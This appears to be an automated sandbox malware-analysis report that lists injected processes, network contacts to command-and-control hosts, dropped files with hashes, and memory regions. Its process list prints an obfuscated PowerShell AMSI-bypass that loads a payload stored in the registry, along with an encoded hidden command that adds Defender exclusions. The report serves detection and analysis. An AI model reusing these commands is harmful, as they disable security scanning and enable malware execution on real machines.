PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3240 wrote to memory of 616 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 3240 wrote to memory of 668 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 3240 wrote to memory of 956 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 60 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\dwm.exe
PID 3240 wrote to memory of 448 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 728 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1016 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1032 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1124 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1184 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1196 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1336 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1344 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1356 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1388 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1432 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1516 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1580 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1664 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1752 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1776 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1892 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1900 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1916 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1940 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 1988 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 1708 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 3240 wrote to memory of 2100 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 2116 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 2372 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2380 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2436 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2524 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2560 N/A C:\Windows\System32\dllhost.exe C:\Windows\sysmon.exe
PID 3240 wrote to memory of 2580 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3240 wrote to memory of 2600 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2608 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2644 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\sihost.exe
PID 3240 wrote to memory of 2748 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2968 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\taskhostw.exe
PID 3240 wrote to memory of 2192 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3240 wrote to memory of 2784 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\unsecapp.exe
PID 3240 wrote to memory of 3308 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe"

C:\Users\Admin\AppData\Local\Temp\O7BOT.exe

"C:\Users\Admin\AppData\Local\Temp\O7BOT.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\VENOM.exe

"C:\Users\Admin\AppData\Local\Temp\VENOM.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $file='C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe';for($i=1;$i -le 600 -and (Test-Path $file -PathType leaf);$i++){Remove-Item $file;Start-Sleep -m 100}

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Admin\AppData\Roaming\Install.exe

"C:\Users\Admin\AppData\Roaming\Install.exe"

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k WerSvcGroup

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2108 -ip 2108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:fVjeGPErpgVv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$JVYfUkcwqLNYRU,[Parameter(Position=1)][Type]$oMOnXtiaGH)$AqxgxKZZJsy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'lic'+[Char](44)+''+'S'+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'t'+'o'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$AqxgxKZZJsy.DefineConstructor('RT'+'S'+'p'+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$JVYfUkcwqLNYRU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'ag'+'e'+''+'d'+'');$AqxgxKZZJsy.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+'e'+'','P'+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'H'+'id'+'e'+''+'B'+''+'y'+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+'t,'+'V'+''+[Char](105)+''+'r'+''+'t'+''+'u'+''+'a'+''+[Char](108)+'',$oMOnXtiaGH,$JVYfUkcwqLNYRU).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+'m'+''+'e'+','+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $AqxgxKZZJsy.CreateType();}$qrrKoveVVgYNz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+''+[Char](116)+'.W'+'i'+''+'n'+'32'+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+'ds');$bMgJunyDaFprmx=$qrrKoveVVgYNz.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+'r'+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+''+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+'c'+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XKUKLAXQevMzZXRRFjZ=fVjeGPErpgVv @([String])([IntPtr]);$BzOFjbNzRZwjpzhuRhRqKg=fVjeGPErpgVv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pqqnRaQCsHu=$qrrKoveVVgYNz.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'eH'+'a'+''+'n'+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+'ne'+[Char](108)+''+'3'+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$mrqJhszMMQVXIJ=$bMgJunyDaFprmx.Invoke($Null,@([Object]$pqqnRaQCsHu,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+'r'+[Char](121)+''+'A'+'')));$OMXTSNMNjmVJJqWjo=$bMgJunyDaFprmx.Invoke($Null,@([Object]$pqqnRaQCsHu,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+'ual'+'P'+''+[Char](114)+''+'o'+'te'+[Char](99)+'t')));$laZgvuH=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mrqJhszMMQVXIJ,$XKUKLAXQevMzZXRRFjZ).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$PyJVYxoSeaUbdaftS=$bMgJunyDaFprmx.Invoke($Null,@([Object]$laZgvuH,[Object](''+'A'+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+'B'+'u'+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$LUjJyvGEUV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OMXTSNMNjmVJJqWjo,$BzOFjbNzRZwjpzhuRhRqKg).Invoke($PyJVYxoSeaUbdaftS,[uint32]8,4,[ref]$LUjJyvGEUV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PyJVYxoSeaUbdaftS,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OMXTSNMNjmVJJqWjo,$BzOFjbNzRZwjpzhuRhRqKg).Invoke($PyJVYxoSeaUbdaftS,[uint32]8,0x20,[ref]$LUjJyvGEUV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2108 -s 1928

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{5ed3d787-49b0-4d1b-a766-067ae39f9386}

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARQB4AGMAZQBwAHQAaQBvAG4AXABUAHkAcABlAEkAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEUAeABjAGUAcAB0AGkAbwBuAFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Roaming\Exception\TypeId.exe

C:\Users\Admin\AppData\Roaming\Exception\TypeId.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 gdx.o7lab.me udp
NL 94.156.71.238:80 gdx.o7lab.me tcp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 puredns.o7lab.me udp
NL 94.156.68.82:39001 puredns.o7lab.me tcp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 32.251.17.2.in-addr.arpa udp
NL 94.156.68.82:39002 puredns.o7lab.me tcp
NL 94.156.68.82:39003 puredns.o7lab.me tcp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
NL 94.156.68.82:39001 puredns.o7lab.me tcp
NL 94.156.68.82:39002 puredns.o7lab.me tcp
NL 94.156.68.82:39003 puredns.o7lab.me tcp
US 8.8.8.8:53 13.179.89.13.in-addr.arpa udp

Files

memory/4948-0-0x0000000000400000-0x000000000058C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\O7BOT.exe

MD5 15df2c3e654cfcf05a461001caa3873f
SHA1 76755d8f5ca782d87320e031b9b5c1c06c1aa59a
SHA256 def50a99856f6c75d6f714b390da7c98ba82ce0280c101c313cc90caf522f011
SHA512 b871fc427c5760fe4a37aadc8962c72df331d4daf7d8e50bc3cdd51981db3e0abe92429701d2325d7827ae33d5d289ee52020a8ebb4a49629920f13eeb77ab80

memory/2248-62-0x00007FFBA3163000-0x00007FFBA3165000-memory.dmp

memory/2248-74-0x00000000009A0000-0x00000000009AE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 9d82dc826bcac1bdd4c41bf79577af27
SHA1 c38360ef0e8acb8f34ebe713ab83ce85cf3fe503
SHA256 784233bc80ea7857c39dbcd9c929a626093fced8c54224e742c4d0e1d128e80d
SHA512 7b863ee39c0e58e91db4fef3bf968c15a595d8de7dbbfd43d56c8b6e2ccdff59aaedc85cdb5d9924128cdf5fc1a77fe9fe36a4dcc4d8fd49da89b6462be1338b

memory/1524-123-0x000001CEACE40000-0x000001CEACEE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\VENOM.exe

MD5 6b9c17340172a6a60b1104628a69f9c6
SHA1 db8e387d429b852233dc872b91f7cc9308c703f9
SHA256 9c67f5654d96f6399a567bdd70314b0d746bffa8611591d473217e287a46d14e
SHA512 6b4e475d23892e4ce646b291222793b8f6fa0f888545ddbebb5fd02bd145212911abf15933888021560a5bf912e03e4b0c37a0b03601be25d691e885d7bc09ef

memory/1524-171-0x000001CEC7460000-0x000001CEC7562000-memory.dmp

memory/1524-182-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

memory/2108-184-0x0000000000200000-0x0000000000264000-memory.dmp

memory/1524-186-0x000001CEC7800000-0x000001CEC784C000-memory.dmp

memory/1524-185-0x000001CEC7560000-0x000001CEC75B6000-memory.dmp

memory/3336-187-0x0000000002D00000-0x0000000002D36000-memory.dmp

memory/3336-188-0x00000000057D0000-0x0000000005DF8000-memory.dmp

memory/2108-189-0x0000000000AE0000-0x0000000000B22000-memory.dmp

memory/3336-190-0x0000000005740000-0x0000000005762000-memory.dmp

memory/3336-195-0x0000000005FA0000-0x0000000006006000-memory.dmp

memory/3336-192-0x0000000005F30000-0x0000000005F96000-memory.dmp

memory/2108-191-0x0000000005010000-0x00000000055B4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qvdx2hw.wrk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3336-201-0x0000000006010000-0x0000000006364000-memory.dmp

C:\Users\Admin\AppData\Roaming\Install.exe

MD5 152e3f07bbaf88fb8b097ba05a60df6e
SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

memory/2108-223-0x0000000005AA0000-0x0000000005AB6000-memory.dmp

memory/3336-226-0x0000000006610000-0x000000000662E000-memory.dmp

memory/3336-227-0x00000000066A0000-0x00000000066EC000-memory.dmp

memory/1524-230-0x000001CEC7850000-0x000001CEC78A4000-memory.dmp

memory/3336-231-0x00000000075E0000-0x0000000007676000-memory.dmp

memory/3336-233-0x0000000006B00000-0x0000000006B1A000-memory.dmp

memory/3336-238-0x0000000006B70000-0x0000000006B92000-memory.dmp

memory/3116-239-0x0000011BD9290000-0x0000011BD92B2000-memory.dmp

memory/3336-244-0x00000000088B0000-0x0000000008F2A000-memory.dmp

memory/3116-247-0x0000011BD9620000-0x0000011BD964A000-memory.dmp

memory/3116-248-0x00007FFBC1170000-0x00007FFBC1365000-memory.dmp

memory/3116-249-0x00007FFBBF900000-0x00007FFBBF9BE000-memory.dmp

memory/3240-253-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3240-252-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3240-251-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3240-257-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3240-250-0x0000000140000000-0x0000000140008000-memory.dmp

memory/3240-259-0x00007FFBBF900000-0x00007FFBBF9BE000-memory.dmp

memory/3240-258-0x00007FFBC1170000-0x00007FFBC1365000-memory.dmp

memory/3240-260-0x0000000140000000-0x0000000140008000-memory.dmp

memory/616-263-0x0000015A83050000-0x0000015A83075000-memory.dmp

memory/616-265-0x0000015A83080000-0x0000015A830AB000-memory.dmp

memory/616-272-0x00007FFB811F0000-0x00007FFB81200000-memory.dmp

memory/616-271-0x0000015A83080000-0x0000015A830AB000-memory.dmp

memory/616-264-0x0000015A83080000-0x0000015A830AB000-memory.dmp

memory/668-283-0x00007FFB811F0000-0x00007FFB81200000-memory.dmp

memory/668-282-0x000001AF45F20000-0x000001AF45F4B000-memory.dmp

memory/668-276-0x000001AF45F20000-0x000001AF45F4B000-memory.dmp

memory/956-294-0x00007FFB811F0000-0x00007FFB81200000-memory.dmp

memory/956-293-0x0000023F92440000-0x0000023F9246B000-memory.dmp

memory/956-287-0x0000023F92440000-0x0000023F9246B000-memory.dmp

memory/60-298-0x000001CADFBD0000-0x000001CADFBFB000-memory.dmp

memory/60-304-0x000001CADFBD0000-0x000001CADFBFB000-memory.dmp

memory/60-305-0x00007FFB811F0000-0x00007FFB81200000-memory.dmp

memory/448-309-0x00000233346E0000-0x000002333470B000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ed65c8043643ff30b0d94ce8f5bb2b61
SHA1 302ee09a9cf5eb1b0f16122176e756801ec0efe1
SHA256 a5de1f5d89e186cd381561a311f217ed9dc15d3e1cb01fa92319d658133282f1
SHA512 aa3c8da848940e46046844fe0d37585fa0048305e95c8f12e15031bf9afb350ee82db311e6ff98b5039b0491a28f4cc6f08816cc5c961bb1dd50e994bdd36da3

memory/1524-980-0x00007FFBA3160000-0x00007FFBA3C21000-memory.dmp

memory/1860-994-0x0000025EE82C0000-0x0000025EE8362000-memory.dmp